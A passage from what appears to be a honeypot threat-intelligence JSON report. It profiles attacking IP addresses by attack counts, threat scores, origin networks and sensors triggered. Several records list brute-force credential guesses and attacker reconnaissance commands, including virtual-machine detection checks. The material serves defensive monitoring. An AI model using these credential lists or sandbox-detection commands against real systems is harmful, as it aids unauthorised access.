        "last_seen_30d": "2026-03-10T06:35:14.384000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "134.199.197.15": {
      "attack_count": 41,
      "first_seen": "2026-03-02T08:55:18.704Z",
      "last_seen": "2026-03-02T09:02:12.456Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Douglasville",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:54:19.759000+00:00",
        "last_seen_30d": "2026-03-02T09:03:22.151000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 12
      }
    },
    "185.196.11.229": {
      "attack_count": 38,
      "first_seen": "2026-03-05T09:40:47.242Z",
      "last_seen": "2026-03-05T09:41:13.402Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zaq12wsx",
        "zmodem",
        "zxcasdqwe123",
        "zxcvbn",
        "zxcvbnm"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo",
        "dmesg | grep irtual",
        "dmidecode | grep Vendor | head -n 1",
        "dmidecode|grep Vendor|head -n 1",
        "free -m",
        "lspci | grep irti",
        "ps -x",
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.size",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 11,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:24:20+00:00",
        "last_seen_30d": "2026-03-12T13:14:39.384000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 166,
        "Honeytrap": 52,
        "Cowrie": 38,
        "Adbhoney": 2
      }
    },
    "195.178.110.15": {
      "attack_count": 28,
      "first_seen": "2026-03-02T22:06:28.425Z",
      "last_seen": "2026-03-29T07:03:16.816Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 48.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T22:06:28.425000+00:00",
        "last_seen_30d": "2026-03-29T07:04:19.330000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "128.1.131.137": {
      "attack_count": 21,
      "first_seen": "2026-03-03T02:39:06.565Z",
      "last_seen": "2026-03-03T02:42:14.471Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:39:06.565000+00:00",
        "last_seen_30d": "2026-03-03T02:43:17.747000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10
      }
    },
    "167.172.26.121": {
      "attack_count": 20,
      "first_seen": "2026-03-03T08:58:59.068Z",
      "last_seen": "2026-03-03T09:00:40.462Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T08:58:50.797000+00:00",
        "last_seen_30d": "2026-03-03T09:01:40.990000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 8
      }
    },
    "106.12.18.199": {
      "attack_count": 19,
      "first_seen": "2026-03-05T15:31:43.070Z",
      "last_seen": "2026-03-18T23:26:37.795Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "kobo",
        "ubuntu"
      ],
      "passwords_attempted": [
        "a123456788",
        "a1234567899876543210a",
        "kobo1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:31:43.070000+00:00",
        "last_seen_30d": "2026-03-18T23:27:40.358000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 13
      }
    },
    "38.188.160.29": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:14:10.855Z",
      "last_seen": "2026-03-11T00:00:23.731Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "10091986",
        "alejandro1",
        "nassira"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:14:10.855000+00:00",
        "last_seen_30d": "2026-03-11T00:01:28.118000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "125.75.110.72": {
      "attack_count": 13,
      "first_seen": "2026-03-14T11:28:16.638Z",
      "last_seen": "2026-03-14T11:45:41.451Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "certftp",
        "ubuntu"
      ],
      "passwords_attempted": [
        "Aa@12345",
        "certftp1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 141998,
      "as_org": "China Telecom",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T11:28:16.638000+00:00",
        "last_seen_30d": "2026-03-14T11:47:19.810000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 10
      }
    },
    "107.150.117.121": {
      "attack_count": 12,
      "first_seen": "2026-03-05T18:41:19.368Z",
      "last_seen": "2026-03-05T18:41:39.625Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 70.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.3,
        "persistence": 25,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 30,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T13:48:12.616000+00:00",
        "last_seen_30d": "2026-03-31T14:37:22.462000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Honeytrap": 18,
        "Cowrie": 12
      }
    },
    "161.35.92.26": {
      "attack_count": 12,
      "first_seen": "2026-03-11T22:20:03.851Z",
      "last_seen": "2026-03-11T22:24:19.598Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:20:03.851000+00:00",
        "last_seen_30d": "2026-03-11T22:25:23.084000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "2.57.122.195": {
      "attack_count": 12,
      "first_seen": "2026-03-20T13:03:56.483Z",
      "last_seen": "2026-03-22T19:03:18.443Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T13:03:56.483000+00:00",
        "last_seen_30d": "2026-03-22T19:04:25.815000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "109.248.42.19": {
      "attack_count": 10,
      "first_seen": "2026-03-30T22:54:21.338Z",
      "last_seen": "2026-03-30T22:55:02.103Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215305,
      "as_org": "Mastersoft S.R.L.",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T22:54:21.338000+00:00",
        "last_seen_30d": "2026-03-30T22:56:11.857000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "172.94.9.48": {
      "attack_count": 10,
      "first_seen": "2026-03-06T00:23:03.481Z",
      "last_seen": "2026-03-06T04:39:24.931Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "2024@Kelltech",
        "Kelltech1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T08:36:25.973000+00:00",
        "last_seen_30d": "2026-03-06T04:40:25.708000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 10,
        "Heralding": 2
      }
    },
    "38.188.160.1": {
      "attack_count": 10,
      "first_seen": "2026-03-10T23:20:39.763Z",
      "last_seen": "2026-03-11T00:17:54.587Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "220489",
        "250784"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:20:39.763000+00:00",
        "last_seen_30d": "2026-03-11T00:18:56.228000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "103.203.57.19": {
      "attack_count": 8,
      "first_seen": "2026-03-10T05:55:00.971Z",
      "last_seen": "2026-03-25T15:18:45.518Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 28.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T05:55:00.971000+00:00",
        "last_seen_30d": "2026-03-25T15:19:46.016000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "185.220.101.58": {
      "attack_count": 8,
      "first_seen": "2026-03-31T21:33:01.159Z",
      "last_seen": "2026-03-31T21:33:23.936Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 67.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 25,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 30,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T16:31:33+00:00",
        "last_seen_30d": "2026-03-31T21:34:28.942000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 6,
        "Honeytrap": 6,
        "H0neytr4p": 1
      }
    },
    "104.152.52.228": {
      "attack_count": 7,
      "first_seen": "2026-03-02T05:30:12.722Z",
      "last_seen": "2026-03-07T03:51:01.733Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:30:12.722000+00:00",
        "last_seen_30d": "2026-03-14T05:56:16.888000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Cowrie": 7,
        "Tanner": 2
      }
    },
    "179.43.177.134": {
      "attack_count": 6,
      "first_seen": "2026-03-06T06:43:05.525Z",
      "last_seen": "2026-03-06T06:43:06.046Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "R\u00fcmlang",
      "asn": 51852,
      "as_org": "Private Layer INC",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T02:49:06.249000+00:00",
        "last_seen_30d": "2026-03-29T16:27:14.135000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 28,
        "CitrixHoneypot": 6,
        "Cowrie": 6,
        "H0neytr4p": 5,
        "Ciscoasa": 1,
        "Tanner": 1
      }
    },
    "205.210.31.69": {
      "attack_count": 6,
      "first_seen": "2026-03-09T05:35:46.464Z",
      "last_seen": "2026-03-27T16:58:56.891Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 92.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 159,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T02:33:57+00:00",
        "last_seen_30d": "2026-03-31T21:30:46.048000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112,
        "Honeytrap": 33,
        "Cowrie": 6,
        "Redishoneypot": 3,
        "CitrixHoneypot": 1,
        "Dicompot": 1,
        "Dionaea": 1,
        "Sentrypeer": 1,
        "Tanner": 1
      }
    },
    "47.245.63.168": {
      "attack_count": 6,
      "first_seen": "2026-03-02T23:48:16.679Z",
      "last_seen": "2026-03-10T08:07:58.275Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T23:48:16.679000+00:00",
        "last_seen_30d": "2026-03-28T10:04:03.886000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.172.108": {
      "attack_count": 6,
      "first_seen": "2026-03-28T09:39:44.716Z",
      "last_seen": "2026-03-28T09:40:23.628Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 75.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.2,
        "persistence": 10.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 12,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-20T15:50:11+00:00",
        "last_seen_30d": "2026-03-31T04:54:01.588000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 33,
        "Cowrie": 6,
        "Adbhoney": 2,
        "Dionaea": 1,
        "Mailoney": 1
      }
    },
    "94.243.9.193": {
      "attack_count": 6,
      "first_seen": "2026-03-23T22:53:33.971Z",
      "last_seen": "2026-03-23T22:54:12.988Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T22:53:33.971000+00:00",
        "last_seen_30d": "2026-03-23T22:55:14.635000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "103.29.70.204": {
      "attack_count": 4,
      "first_seen": "2026-03-19T23:42:19.925Z",
      "last_seen": "2026-03-19T23:42:29.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T23:42:19.925000+00:00",
        "last_seen_30d": "2026-03-19T23:43:58.678000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "110.37.55.233": {
      "attack_count": 4,
      "first_seen": "2026-03-17T16:35:29.025Z",
      "last_seen": "2026-03-19T08:25:21.853Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T16:35:29.025000+00:00",
        "last_seen_30d": "2026-03-19T08:26:23.891000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "115.220.5.69": {
      "attack_count": 4,
      "first_seen": "2026-03-09T02:24:12.370Z",
      "last_seen": "2026-03-09T02:24:12.906Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:24:12.370000+00:00",
        "last_seen_30d": "2026-03-09T02:25:15.706000+00:00",
